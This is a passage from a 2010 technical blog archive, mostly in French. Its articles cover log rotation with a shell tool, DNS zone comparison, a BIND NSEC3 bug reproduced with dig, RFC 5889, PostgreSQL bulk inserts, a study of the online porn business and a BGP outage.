        'https://api.del.icio.us/v1/posts/all'

copy-n fait donc l'équivalent de :

cp $LOG.1 $LOG.2
cp $LOG.0 $LOG.1
cp $LOG $LOG.0
touch $LOG

mais en plus paramétrable (nombre de copies gardées avec l'option -n, mode), et en plus robuste (le code ci-dessus plante si $LOG.3 n'existe pas), etc.

Le programme complet, normalement en shell portable, est disponible. Voici un exemple d'usage :

% copy-n -n 2 -v sources.org  
Moving sources.org.1 to sources.org.2...
Moving sources.org.0 to sources.org.1...
Copying sources.org to sources.org.0...

Outre logrotate, déjà cité (son principal avantage sur copy-n est l'option de compression), on peut bien sûr préférer un VCS ou un autre programme comme rdiff-backup, suggéré par Sébastien Sauvage, mais qui a un cahier des charges assez différent, puisqu'il ne stocke pas les versions précédentes en clair et qu'il ne fonctionne qu'avec des répertoires, pas de simples fichiers). Autre possibilité, savelog, spécifique à Debian (paquetage debianutils, mais les sources sont disponibles), proposé par Gregory Colpart. Prévu uniquement pour les journaux, il a quelques limites pour d'autres utilisations mais, autrement, semble très satisfaisant. Autres possibilités : les traditionnels cp et rsync disposent d'options qui font la moitié du travail souhaité. GNU cp a l'option (non-standard) --backup donc on peut écrire des choses comme cp --backup=numbered monfichier masauvegarde et il gardera alors les précédentes versions de masauvegarde, agrémentées d'un ~ et d'un numéro (qui suit l'ordre inverse de celui qui est habituel : le numéro le plus élevé est le fichier le plus récent). Il n'y a apparemment pas de moyen de ne garder que les N dernières versions donc on remplit le disque petit à petit. C'est encore pire avec rsync qui ne permet de garder que la toute dernière version (rsync --backup --backup-dir=backups monfichier masauvegarde). Les autres suggestions de logiciels et argumentations sur les raisons du choix sont les bienvenues.

En attendant, merci à Mathieu Arnold, Marc Baudoin et Kim-Minh Kaplan pour leur aide en programmation shell, surtout pour les calculs arithmétiques et à Jean-Philippe Pick pour sa maîtrise de cp.


L'article seul

Ma politique de liens vers Wikipédia

Première rédaction de cet article le 10 septembre 2010
Dernière mise à jour le 12 septembre 2010


À plusieurs reprises, des lecteurs m'ont demandé pourquoi tant de mots dans mes articles sont des liens vers Wikipédia (et paf, un lien de plus). Les chiffres exacts peuvent être lus dans mon rapport quotidien.

Si je mets autant de liens vers Wikipédia, est-ce que c'est parce que je pense que le lecteur n'est pas capable d'aller chercher lui-même dans une encyclopédie en ligne ou bien sur papier ?

D'abord, l'encyclopédie peut ne pas être d'usage facile, notamment pour les sigles, qui ont des développés différents. (Un bel exemple d'erreur à ce sujet est dans un RFC.) Autre cas où l'encyclopédie ne marche pas, c'est lorsque le terme est rare, qu'il n'y a d'article qu'en anglais, ou encore lorsque le mot a plusieurs sens (« paquet », « python »...). Mes liens vers Wikipédia ne sont pas automatiques, ils sont testés et pointent exactement vers la bonne page. Et j'ai déjà eu des remarques positives sur le même thème, « Enfin un texte technique où tous les termes techniques sont expliqués ».

Ensuite, l'un de mes buts est justement d'encourager la lecture des articles de Wikipédia. Il ne s'agit pas seulement d'expliquer un sigle. C'est aussi une invitation à aller voir plus loin.

Par contre, c'est vrai que je devrais faire des liens vers Wikipédia plus discrets. J'ai changé la CSS le 12 septembre 2010 en ce sens. Dites-moi ce que vous en pensez. Toutes les suggestions concrètes d'amélioration sont les bienvenues. Je précise bien que je voudrais que les liens soient discrets (j'ai déjà reçu plusieurs suggestions sur des techniques permettant de mettre en évidence les liens, exactement le contraire de ce que je voulais ; pour des exemples de ces techniques, voir ici ou ).

Un autre point technique, les liens Wikipédia ne sont pas inclus dans le flux de syndication, ce qui peut gêner les gens qui lisent le site entièrement via un agrégateur. Quel est leur avis ?

Dernier sujet de discussion avec certains lecteurs, le fait que, lorsque je parle d'une organisation (une association, par exemple), le lien pointe vers leur page Wikipédia au lieu de pointer vers le site officiel de l'organisation. Là encore, c'est mûrement réflechi :

  • La page Wikipédia est plus stable (il y a des association ou des entreprises qui disparaissent, comparez Sun et Sun).
  • La page Wikipédia donne l'occasion d'accéder à des informations non officielles. Comparez Google et Google.

Pour des statistiques plus détaillées sur les termes de Wikipédia effectivement utilisés, voir la liste des références Wikipédia, classées par ordre alphabétique ou bien par ordre d'utilisation.Pour les autres aspects « meta » de mon blog, voyez mon article « Pourquoi et comment je blogue ».

Pour les réglages du CSS, merci à Florian Crouzat, Cyprien Nicolas et Ève Demazière pour leurs suggestions.


L'article seul

Le Web est-il toujours libre ?

Première rédaction de cet article le 9 septembre 2010


Le Web a souvent été comparé aux radios libres : au début, libre, tout fou, créé par des passionnés qui sont motivés par l'urgence de communiquer. Ensuite, encadré, régulé, commercialisé et normalisé. Ce triste tableau est-il correct ? Le Web est-il d'ores et déjà coca-colisé et TF1sé ? Non, répond ARNO*, alias le Scarabée, qui a publié cette année un superbe texte, « Rêves de Web à papa ».

En gros (je résume car son article est très fouillé et décortique tout en détail), dit ARNO* (fondateur entre autres du minirézo), tout n'est pas joué. Sur certains points, ceux qui rêvaient dans les années 1990 d'un Web libre et non-commercial ont perdu. Sur d'autres, ils ont progressé. Sur certains points enfin, la lutte fait toujours rage. Certes, il n'existe pas de service public de l'hébergement, et les services gratuits comme Mygale ont été soigneusement démantelés. Mais, aujourd'hui, la location d'un hébergeur de qualité (comme Slicehost où se trouve ce blog) coûte moins cher qu'un abonnement à l'Internet de l'époque. Publier sur le Web reste donc infiniment moins cher que sur le papier. La preuve, le Web indépendant et non commercial a traversé sans dommages l'éclatement de la bulle Internet en 2001 alors que la grande majorité des entreprises privées qui voulaient « faire du fric rapidement avec l'Internet », entreprises qui faisaient se pâmer d'admiration journalistes et consultants, ont sombré dans le ridicule le plus total.

Certes, le blog d'Agnès Maillard ou celui de Morgane Tual font moins de visiteurs que les sites du Monde ou de Libération. Mais l'écart entre eux est nettement plus faible qu'entre l'édition papier d'un quotidien officiel et la feuille polycopiée ou le tract distribué au coin de la rue. Comme Benjamin Bayart aime le dire « L'imprimerie a permis au peuple de lire ; Internet va lui permettre d'écrire. »

À l'époque des débuts d'Arno, on n'avait pas Wikipédia. Aujourd'hui, du collégien au journaliste, tout le monde utilise une encyclopédie non-marchande et faite par ses utiisateurs. À l'époque, on avait uZine, aujourd'hui, on a Numérama et La Quadrature du Net. Et il y a aussi Mediapart et Rue89 et des milliers de blogs intéressants ! Bref, on n'a pas reculé.

Les commerciaux et les promoteurs de LOPPSI et d'autres lois répressives ont donc du souci à se faire : le Web libre est encore bien vigoureux.


L'article seul

Comparing DNS zones

First publication of this article on 8 September 2010


For a long time, network administrators have been comparing DNS zone files, to see the changes. A specially well-watched is the root zone, which is available on line. Now that many zones, including the root, are signed with DNSSEC, how to compare them meaningfully? We certainly do not want a simple resigning to trigger a difference.

The issue was for instance raised by Paul Hoffman on the dns-operations mailing list. Many possible solutions have been suggested in the resulting thread.

There are two ways to strip the zone file of the things that one can see as "meaningless". One is converting it to a canonical format and one is to strip the things you are not interested in. We'll see that you need both, in order to address all the cases.

OK, first, the canonicalization. There are two tools to do so. To test them, let's first create a simple DNS zone file for the TLD .example. Now, let's try the tool shipped with BIND :

% named-compilezone -i none -o example-01.db-canonical example example-01.db
example-01.db:3: no TTL specified; using SOA MINTTL instead
zone example/IN: loaded serial 2010090804
dump zone to example-01.db-canonical...done
OK

We can check the new file and/or see with diff the changes: comments removed, SOA record on one line, TTL made explicit, @ expanded, etc. More important, the canonical version is now independant of small changes (such as added or removed white spaces) in the "source" file. But now let's use a zone file signed with DNSSEC. The canonicalisation normalizes the DNSSEC records like the RRSIG but do not suppress them, which means that a simple resigning of the zone will produce a huge (and probably meaningless) diff. We should add a filtering step or try another tool.

The excellent ldns library has a tool named ldns-read-zone which can perform canonicalization:

% ldns-read-zone -c -z example-01.db
...

Do note that this tool (unlike named-compilezone) cannot get the zone name from the outside, it has to be in the zone itself. The above example does more or less the same thing than named-compilezone but there is another option, -s, which strips DNSSEC records. Then, we have a zone file which is almost usable for diff: the only exception is the SOA record which, in some cases (like the current root) changes every day even if there is no actual change. Finally, we have to use filtering.

Filtering can be done alone but it may miss some transformations in the zone file. Here is an example of grep and a big regexp to "clean" a zone file:

% grep -E -v ';(File (start|end)|(End of file)|(serial))|^[^[:space:]]+[[:space:]]+[0-9]+[[:space:]]+IN[[:space:]]+(RRSIG|SOA|NSEC|NSEC3)[[:space:]]|VRSN-END-OF-ZONE-MARKER-DUMMY-RECORD\.ROOT\.' $1

You can find other regexps in the thread on dns-operations mentioned above.

My final strategy was to use canonicalization + filtering, with a much simpler regexp, just to remove SOA records. My shell script looks like:

CLEAN_REGEXP='^[^[:space:]]+[[:space:]]+[0-9]+[[:space:]]+IN[[:space:]]+(SOA)[[:space:]]'
...
# Canonicalize and strip DNSSEC transient data (such as signatures)
gunzip --to-stdout root.zone.gz | \
    ldns-read-zone -s -c -z > root.zone-canonical.new
grep -E -v $CLEAN_REGEXP root.zone-canonical > $TMPROOTOLD
grep -E -v $CLEAN_REGEXP root.zone-canonical.new > $TMPROOTNEW
if [ ! -z "`cat $DIFF`" ]; then
    # New version, do something

This is the script which is behind the root zone history published as the canonical version and the original unmodified version.

Other possible tools include, again in ldns, ldns-compare-zones, a zone file comparison tool, but which do not seem to allow ignoring DNSSEC records, and yazvs (which I did not test since it depends on a Perl module which is not yet in Debian).

Thanks to Ray Bellis, Marco Davids, Ondřej Surý, Joe Abley and Duane Wessels for ther ideas, suggestions and regexps.


L'article seul

Une bogue amusante de BIND avec les enregistements NSEC3

Première rédaction de cet article le 8 septembre 2010


Pratiquement chaque TLD qui a décidé de déployer DNSSEC a trouvé une nouvelle bogue de BIND, car ce TLD utilisait une combinaison d'options non encore testée. Lors des essais préalables à la signature de .FR, le cas d'une zone NSEC3 ne comportant qu'un seul nom signé a révélé une nouvelle bogue.

Faites l'expérience vous-même avec toutes les versions de BIND jusqu'à la 9.6.2 ou 9.7.2 incluses. Créez une zone où un seul nom contient des enregistrements faisant autorité, par exemple :

example.       IN      SOA     ns1 root (
                2010083009              ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                          86400 )       ; Negative Cache TTL

        IN      NS      ns1.nic.fr.
        IN      NS      ns2.nic.fr.

        IN      TXT "Test"

toto    IN   NS ns1.bortzmeyer.org.
        IN   NS ns2.bortzmeyer.org.

foobar    IN   NS ns1.bortzmeyer.org.
        IN   NS ns2.bortzmeyer.org.

baz    IN   NS ns1.example.net.

$INCLUDE "Kexample.+008+31414.key"

Cette zone contient plusieurs noms (example, toto.example, etc). Signée avec NSEC ou même avec le NSEC3 du RFC 5155, elle ne pose pas de problème. Mais si on ajoute à NSEC3 l'option opt-out (section 6 du RFC 5155, option -A de dnssec-signzone par exemple dnssec-signzone -3 0BADDCAF -H 1 -A -P -z example), il n'y a qu'un seul nom signé, l'apex, example. En effet, les autres noms comme foobar.example ne contiennent pas d'enregistrement faisant autorité, seulement des délégations. La chaîne NSEC3 boucle alors sur elle-même, il n'y a qu'un seul condensat cryptographique, pour l'apex :

P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6.example. 86400 IN NSEC3 1 1 1 \
             0BADDCAF P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6 NS SOA TXT 

Comme le savent tous les programmeurs, les bogues surviennent en général aux limites, pour des tailles de 0 ou de 1 ou de 2^32... Ici, lorsque la chaîne des NSEC3 est de longueur 1, BIND n'est plus capable de servir la zone correctement. Lançons-le avec ce fichier de configuration :

options {
        directory "/tmp/bind";
        recursion no;
        dnssec-enable yes;
        listen-on port 9053 {any;};
};

zone "example" {
        type master;
        file "example.signed";
};

puis, named -g -c /mon/fichier.conf. Si on interroge ce BIND avec dig sur l'apex, tout va bien :


% dig +dnssec @localhost -p 9053 A example

; <<>> DiG 9.6-ESV-R1 <<>> +dnssec @localhost -p 9053 A example
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33585
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 1
...
;; AUTHORITY SECTION:
example.                600     IN      SOA ns1.example. root.example. 2010083009 604800 86400 2419200 86400
example.                600     IN      RRSIG   SOA 8 1 600 20100929110548 2010083011054831414 example. pdY7ja1es9hjmXKuWcsxi7WL/rWl40Ox5AEGEFJjb/E4PXqDbUXCsgMx...
P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6.example. 86400 IN NSEC3 1 1 1 0BADDCAF P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6 NS SOA TXT RRSIG DNSKEY NSEC3PARAM
...

Si on interroge sur un nom qui n'existe pas, tout va également bien, le NSEC3 est bien renvoyé pour prouver la non-existence :


% dig +dnssec @localhost -p 9053 A doesnotexistatall.example
                                                            
; <<>> DiG 9.6-ESV-R1 <<>> +dnssec @localhost -p 9053 A doesnotexistatall.example
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 8774
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 1
...
;; AUTHORITY SECTION:
example.                600     IN      SOA ns1.example. root.example. 2010083009 604800 86400 2419200 86400
example.                600     IN      RRSIG   SOA 8 1 600 20100929110548 2010083011054831414 example. pdY7ja1es9h...
P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6.example. 86400 IN NSEC3 1 1 1 0BADDCAF P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6 NS SOA TXT RRSIG DNSKEY NSEC3PARAM
...

Mais, si on interroge le serveur sur un nom qui existe, patatras :


% dig +dnssec @localhost -p 9053 A foobar.example

; <<>> DiG 9.6-ESV-R1 <<>> +dnssec @localhost -p 9053 A foobar.example
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63947
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 1
...
;; AUTHORITY SECTION:
foobar.example.         600     IN      NS      ns1.bortzmeyer.org.
foobar.example.         600     IN      NS      ns2.bortzmeyer.org.
...

Pas de NSEC3 pour prouver l'absence d'enregistrements (ANSWER: 0) ! Un tel comportement est tout à fait contraire aux normes et conduit les résolveurs validants à refuser de transmettre la réponse (SERVFAIL, pour Server Failure).

Si vous voulez voir le comportement normal d'un serveur de noms DNSSEC, regardez des zones signées avec NSEC3 et opt-out comme .ORG ou .PM. Un test comme dig +dnssec @a2.org.afilias-nst.info A bortzmeyer.org (nom existant mais non signé) ou dig +dnssec @d.nic.fr A nic.pm (même chose) doit renvoyer des NSEC3.

Alors, pourquoi BIND n'en renvoyait-il pas, alors que NSD, par exemple, le faisait bien ? C'est à cause de ce cas limite, un seul nom signé et donc une chaîne NSEC3 bouclant immédiatement, cas qui n'était pas prévu. En ajoutant un nom bidon (le _ est là pour éviter une collision avec un nom délégué) :

; Adding this name workarounds the bug
_test    IN TXT "Test again"

Alors, tout marche :


% dig +dnssec @localhost -p 9053 A foobar.example

; <<>> DiG 9.6-ESV-R1 <<>> +dnssec @localhost -p 9053 A foobar.example
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41292
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 6, ADDITIONAL: 1
...
;; AUTHORITY SECTION:
foobar.example.         600     IN      NS      ns2.bortzmeyer.org.
foobar.example.         600     IN      NS      ns1.bortzmeyer.org.
P9UQ7AKGQS75E10PPBQ2FRKUSSNEKID6.example. 86400 IN NSEC3 1 1 1 0BADDCAF 50P7FK09A20A8BATD9DPV7NQPP1QM4OB NS SOA TXT RRSIG DNSKEY NSEC3PARAM
...

Notez bien que le NSEC3 pointe désormais vers un second condensat cryptographique puisqu'il y a deux noms signés.

La bogue a été signalée à l'ISC et corrigée quelques jours après. Vous ne pouvez pas encore la voir en ligne car BIND 9 (contrairement à son successeur) a un mode de développement assez fermé, où les rapports de bogue et le VCS ne sont pas publics. Mais voici ce qui apparaitra dans la liste des changements :

2951.   [bug]           named failed to generate a correct signed response
                        in a optout, delegation only zone with no secure
                        delegations. [RT #22007]

Et voici le patch complet. Notez que la correction elle-même ne fait que quelques lignes de C mais que le patch a nécessité le développement d'un test de non-régression, destiné à empêcher cette bogue de réapparaître dans le futur. La livraison d'une nouvelle version de BIND est en effet précédée de tests automatiques du serveur ainsi compilé.


L'article seul

RFC 5889: IP Addressing Model in Ad Hoc Networks

Date de publication du RFC : Septembre 2010
Auteur(s) du RFC : E. Baccelli (INRIA), M. Townsley (Cisco)
Pour information
Réalisé dans le cadre du groupe de travail IETF autoconf
Première rédaction de cet article le 7 septembre 2010


Pendant longtemps, les normes TCP/IP ne traitaient que le cas de machines statiques, administrées par des professionnels, et dotées de connexions matérielles et d'adresses IP stables. Le paysage aujourd'hui est bien différent, entre autres à cause des réseaux ad hoc, ces réseaux non gérés, qui se constituent au hasard des rencontres, par exemple entre deux équipements portables dont les propriétaires se croisent. On trouve même aujourd'hui des routeurs pour ces réseaux et ce court RFC introduit le problème de leur adressage. Quelles adresses IP pour des routeurs ad hoc ?

Les sections 1 et 3 définissent le problème : soit un routeur connecté à au moins un lien dont la connectivité n'est pas vraiment connue. Le matériel marche parfaitement mais on ne sait pas à l'avance si les paquets passeront. Le réseau peut marcher très bien ou il peut mal marcher ou bien encore il peut marcher par intermittence, ce qui est courant avec le sans-fil. Et ce réseau n'est pas administré par un humain compétent (pas de plan d'adressage, par exemple). Quelle adresse IP doit choisir le routeur ?

Il existe plusieurs protocoles de routage pour de tels cas (comme, par exemple, le DSR du RFC 4728 ou l'OLSR du RFC 7181, ce dernier étant plus fréquent dans les réseaux sans-fil communautaires) mais pas de mécanisme standard pour choisir les adresses du routeur. Ce RFC expose les contraintes et demandes pour un tel mécanisme, en se focalisant sur les adresses utilisées par les protocoles de routage (les applications ont également besoin que des adresses IP soit attribuées mais leurs exigences ne sont pas forcément les mêmes).

Commençons par la configuration du préfixe des adresses IP (section 4). Puisque la connectivité du lien n'est pas connue, on ne peut pas savoir quelles adresses IP sont « sur le lien » (locales au lien), à part bien sûr celle de l'interface elle-même. Donc, on ne peut rien garantir quant à la possibilité de joindre une autre adresse en un seul saut. D'où le principe posé par cette section 4 : on ne configure pas de préfixe du tout.

Et l'adresse IP du routeur ? La section 5 analyse ce cas. Les protocoles de routage qui tourneront peuvent exiger, dans certains cas, des adresses IP uniques au sein du domaine de routage (cf. RFC 1136 pour une définition de cette notion). Comme avoir une adresse IP unique satisfait tous les protocoles de routage, même les plus exigeants, la section 5 pose le principe que l'adresse IP allouée soit unique, au moins dans le domaine de routage.

Une fois ces principes posés dans les sections 4 et 5, la section 6 en vient au concret : elle sépare IPv6 et IPv4. Pour le premier (section 6.1), adresses IP uniques dans le domaine de routage et pas de préfixe configuré sur les interfaces à connectivité inconnue. Les adresses IPv6 link-local (RFC 4291, section 2.5.6) sont explicitement déconseillées : elles ne sont uniques que par lien et ne peuvent donc pas identifier un routeur et le RFC 4291 interdit nettement de transmettre les paquets ayant ces adresses comme source d'un lien à un autre. Le but d'un routeur étant de faire passer les paquets d'un lien à un autre, cela élimine ces adresses.

À noter que notre RFC 5889 ne suggère pas de solution, il pose des principes. On peut penser aux adresses ULA (Unique Local Addresses, dans le le RFC 4193) mais elles ne sont pas citées (car il n'y a pas encore d'accord sur le fait qu'il faille obtenir une adresse routable globalement ou seulement routable localement ; dans ce second cas, l'ULA serait clairement un bon choix).

En second, IPv4 fait l'objet de la section 6.2. Les règles sont presque les mêmes sauf que IPv4 ne permettant pas de dire explicitement qu'il n'y a pas de préfixe configuré pour une interface, la règle dit à la place que ce préfixe doit être de longueur 32 (et donc ne comporter qu'une seule adresse).

Les adresses locales au lien (RFC 3927) sont tout aussi déconseillées que pour IPv6, d'autant plus que, avec la faible taille de l'espace d'adressage qui leur est réservée en IPv4, elles ont encore moins de chances d'être uniques.

Merci à Emmanuel Baccelli pour sa relecture et ses commentaires.


Téléchargez le RFC 5889


L'article seul

Insérer beaucoup de tuples COPY ou INSERT ?

Première rédaction de cet article le 6 septembre 2010
Dernière mise à jour le 10 septembre 2010


Tiens, un petit problème de performance avec un SGBDR. Pour insérer un grand nombre de tuples, est-ce plus rapide avec une boucle sur le traditionnel INSERT ou bien avec une autre commande SQL, COPY ?

Le problème vient de DNSmezzo qui doit parfois insérer plusieurs millions de tuples en une seule exécution (chaque tuple représentant une requête ou une réponse DNS). Cela prend du temps et cela s'aggrave avec le remplissage de la base. La documentation de PostgreSQL suggère d'utiliser COPY plutôt qu'INSERT. Qu'y gagne t-on exactement ?

Les tests ont été effectués avec PostgreSQL 8.3 sur un PC/Debian. Deux programmes en C, speed-insert.c et speed-copy.c ont été comparés, pour une table composée de trois champs (dont deux seulement sont spécifiés lors de l'insertion) :

CREATE TABLE Shadoks (id SERIAL, name TEXT, value INTEGER);

Voici d'abord l'insertion d'une table sans index, pour dix millions de tuples :

% time ./speed-insert dbname=essais 10000000
./insert dbname=essais 10000000  53.35s user 53.72s system 15% cpu 11:49.85 total

% time ./speed-copy dbname=essais 10000000      
./copy dbname=essais 10000000  8.61s user 0.14s system 11% cpu 1:15.79 total

Bref, COPY est dix fois plus rapide. (Si vous regardez le source de speed-copy, vous verrez une constante INCREMENT dont la valeur a été déterminée empiriquement. Mettez-la trop bas, à 10 par exemple, et les performances chutent.)

Et avec des index ? Notons que la documentation de PostgreSQL, citée plus haut, recommande de les débrayer avant d'insérer en masse et de les rétablir ensuite. Créons le :

CREATE INDEX name_idx on Shadoks(name);

Et, en effet, les performances chutent dramatiquement : même avec COPY, au bout de quinze minutes, j'ai interrompu le programme. Utiliser la méthode suggérée par la documentation est bien plus rapide :

% time sh -c '(psql -c "DROP INDEX name_idx" essais ;  \
            ./copy dbname=essais 10000000; \
            psql -c "CREATE INDEX name_idx on Shadoks(name)" essais)'
DROP INDEX
CREATE INDEX
sh -c   8.56s user 0.14s system 3% cpu 4:01.39 total

Il existe une troisième solution à la question de la « copie en masse » mais elle nécessite l'ajout d'un logiciel supplémentaire, pgbulkload. Je ne l'ai pas testé mais, questions performances, les auteurs annoncent des résultats intéressants. Mais attention : rien n'est gratuit. Ces gains de performance reposent essentiellement sur l'absence de support des triggers et des rules, et surtout il ne valide pas les données en entrée. Du coup ça n'est utilisable que pour restaurer une sauvegarde de confiance. Dans tous les cas, ces copies rapides (COPY ou pgbulkload) peuvent poser des problèmes de compatibilité avec d'éventuels mécanismes de réplication qui ont été mis en place donc lisez bien la documentation de votre système de réplication, si vous en avez un. D'autre part, les techniques « rapides » (tout ce qui n'est pas INSERT) peuvent poser des problèmes en cas de parallélisme (voir un exemple avec COPY).

Merci à Malek Shabou et Dimitri Fontaine pour leurs conseils et informations. Un bon article sur la question est « How to insert data to database - as fast as possible ».


L'article seul

Comment fonctionne l'industrie de la pornographie en ligne

Première rédaction de cet article le 4 septembre 2010


Il y déjà eu plusieurs études sur le monde de la pornographie sur l'Internet, comme l'article de Benjamin Edelman. Mais cet article de Gilbert Wondracek, Thorsten Holz, Christian Platzer, Engin Kirda et Christopher Kruegel, présenté au Ninth Workshop on the Economics of Information Security apporte du nouveau : les auteurs ont plongé dans ce monde et créé des entreprises participant à ce business, pour mieux l'étudier.

Leur article, Is the Internet for Porn? An Insight Into the Online Adult Industry, est disponible en ligne. Il est très intéressant et les auteurs ont vraiment pensé à tout dans leur étude de ce sujet. J'imagine bien la tête qu'ont dû faire les avocats de leur université lorsqu'ils ont présenté leur projet « devenir vendeur en e-porno ». Une section de leur article est d'ailleurs consacrée aux règles que leur a fixé leur comité d'éthique, notamment l'interdiction de gagner de l'argent lors de cette expérience. Ils ont donc dû arrêter chaque opération au moment où elle devenait rentable.

Donc, après avoir passé du temps à récolter de longues listes de sites Web porno, nos courageux chercheurs, qui ne reculent devant rien lorsque le progrès de la science est en jeu, ont défini une typologie des différents acteurs. Je pensais personnellement que la même enterprise contrôlait toute la filière, de la prise des photos ou des films jusqu'au site Web. Mais pas du tout. Il existe de nombreux intermédiaires, par exemple des courtiers qui mettent en relation les gens qui reçoivent du trafic (par exemple parce qu'ils détiennent des noms de domaine au nom suggestif) et veulent le monétiser avec les gérants des sites pornos payants qui veulent recevoir du trafic. Le courtier achète aux premiers du trafic qu'ils revendent aux seconds, en prélevant leur part.

L'expérience pouvait ensuite commencer : les auteurs se sont inscrits à plusieurs programmes dans le monde du e-porno, changeant de rôle au fur et à mesure. Le milieu, qu'ils pensaient fermé, s'est au contraire révélé très ouvert et ils ont toujours été acceptés, même lorsque le site Web qu'ils avaient créé rassemblait toutes les mauvaises pratiques. Par exemple, lors de l'adhésion à un programme d'affiliation, dans six cas sur huit, le site Web n'a enregistré aucune visite avant l'acceptation !

Compte-tenu des sommes en jeu et de l'attitude hypocrite de la société vis-à-vis de la pornographie (légale mais mal vue), il n'est pas étonnant que le milieu du e-porno se caractérise par une éthique assez faible. Ainsi, les chercheurs ont pu vérifier que les promesses (un moteur de recherche spécialisé dans le porno qui affirme que sa base de sites a été compilé manuellement après vérifications, un courtier qui prétend refuser de rediriger du trafic vers des sites utilisant des cadres cachés, ...) étaient rarement tenues. De la même façon, les horreurs comme les astuces JavaScript pour rendre plus difficile la sortie du site sont monnaie courante. Il est parfois difficile de pointer les responsabilités : ainsi, les auteurs ont trouvé une importante proportion de sites Web porno distribuant du malware mais sans pouvoir être sûr que c'était une décision du gérant du site. Il semble au contraire que les sites Web porno, comme ils reçoivent beaucoup de trafic, sont plus souvent piratés que les autres, par des méchants qui installent le code malveillant ensuite.

Autre escroquerie courante, lors de paiements au clic, les divers systèmes de multiplication, comme de vendre le même clic à plusieurs courtiers. Les auteurs, lorsqu'ils étaient acheteurs de trafic, ont pu voir un seul clic sur un site Web leur être compté 3,8 fois. En sens inverse, lorsqu'ils jouaient le rôle du vendeur de trafic, ils ont pu vendre leur trafic à deux courtiers différents sans être détectés. En combinant les deux techniques (acheter du trafic à un courtier et le rediriger à deux courtiers ou davantage), on gagne de l'argent sans beaucoup se fatiguer...

Le code du site Web des chercheurs a aussi servi à analyser les clients. Le nombre de logiciels vulnérables détectés est important, menant au calcul qu'avec un investissement de seulement 160 US $ (pour acheter du trafic), on peut compromettre 20 000 machines... Si on ne veut pas tout faire soi-même, pas de problème, il existe même des entreprises à qui vous fournissez le code et qui se font payer au nombre d'installations réussies sur les machines des utilisateurs (130 US $ pour mille installations, avec possibilité de choisir le pays, car il est plus intéressant de contaminer une machine norvégienne qu'une coréenne, déjà mise dans toutes les listes noires de la planète). Certains malware prévenant de leur présence en modifiant le champ User-Agent: du protocole HTTP, les auteurs ont pu d'ailleurs voir que bien des visiteurs étaient déjà infectés.

Bref, un monde fort intéressant, où l'important trafic généré crée un écosystème pour toutes sortes de gens pas toujours sympathiques.


L'article seul

BGP et le désormais célèbre attribut 99

Première rédaction de cet article le 3 septembre 2010


Vendredi dernier, le 27 août, une expérience de mesure BGP menée par le RIPE-NCC et Duke University a révélé une bogue latente dans le code de certains modèles de routeurs Cisco, menant à la corruption des annonces BGP échangées, qui elle-même a entrainé la coupure de plusieurs sessions BGP, et finalement des perturbations plus ou moins fortes dans une partie de l'Internet. Cette panne a réactivé des débats sur la sécurité et la stabilité de l'Internet, ou bien sur la légitimité de procéder à de telles expériences.

Je ne vais pas détailler la panne elle-même car je n'étais pas là pour l'observer, je n'ai pas d'accès à toutes les données et, de toute façon, depuis une semaine, plusieurs très bons articles sont sortis sur le sujet. La meilleure synthèse est celle du RIPE-NCC. Bien plus technique, pour les amateurs de décodage de paquets, l'excellent article de Tassos et évidemment le RFC 4271, la norme de BGP (par exemple la section 4.3, sur les attributs, voir aussi le registre IANA des attributs). Et naturellement l'avis de sécurité de Cisco, qui donne plein de détails. Notons toutefois un point peu mentionné, le fait que le seul « privilège » qu'avait le RIPE-NCC est d'être bien connecté, avec beaucoup de peerings. Leurs annonces se propagent donc vite et loin. Mais, autrement, n'importe lequel des 40 ou 50 000 AS actifs pouvait faire pareil (si leur(s) opérateur(s) immédiats n'ont pas de Cisco bogué et transmettent l'annonce intacte). L'« expérience » aurait donc pu être faite par n'importe quel cyber-guerrier amateur.

Première question soulevée par cette panne : l'Internet est-il vraiment trop fragile ? Allons-nous tous mourir ? Al-Qaida va t-elle détruire la capacité de l'Occident à regarder YouTube toute la journée ? Faut-il refaire l'Internet en mieux ? Ou bien faire passer les routeurs sous le contrôle de l'US Army ? Ces questions resurgissent à chaque panne, surtout lorsqu'elle affecte des services dramatiquement essentiels. Des réunions sont organisés, des colloques causent, des rapports sont écrits. Mais, la plupart du temps, l'arbre cache la forêt et on oublie les points essentiels :

  • Il est très facile de perturber l'Internet, mais on est vite repéré et le problème est vite guéri. La panne du 27 août n'a duré qu'une heure. Même si le RIPE-NCC n'avait pas retiré l'annonce anormale, les ingénieurs auraient vite reconfiguré le réseau, comme cela a été le cas dans les affaires similaires.
  • L'Internet résiste aux soubresauts non pas parce que BGP est particulièrement bien conçu mais parce qu'il y a des gens compétents et dévoués derrière les routeurs. Rigidifier les procédures, augmenter le niveau de contrôle (dans le style UIT) aggraverait le problème au lieu de le résoudre, puisque cela empêcherait ces réactions intelligentes.
  • Il est facile de se vanter (et beaucoup de gens le font) qu'on peut construire un meilleur Internet. Techniquement, c'est faisable. Mais la vulnérabilité de l'Internet ne vient pas uniquement de ses protocoles mais aussi de leurs mises en œuvre. La faille du 27 août n'était pas dans BGP mais dans IOS XR. Les tenants d'une refonte de l'Internet ont-ils trouvé la méthode pour produire du logiciel sans bogue ? Si oui, il serait intéressant qu'ils la publient. De toute façon, la vulnérabilité fondamentale de l'Internet est qu'il connecte des organisations différentes et souvent ennemies. Tout réseau mondial aurait le même problème. Donc, soit on revient à un Minitel centralisé et national, soit on accepte le fait que la mondialisation a ses bons et ses mauvais côtés.
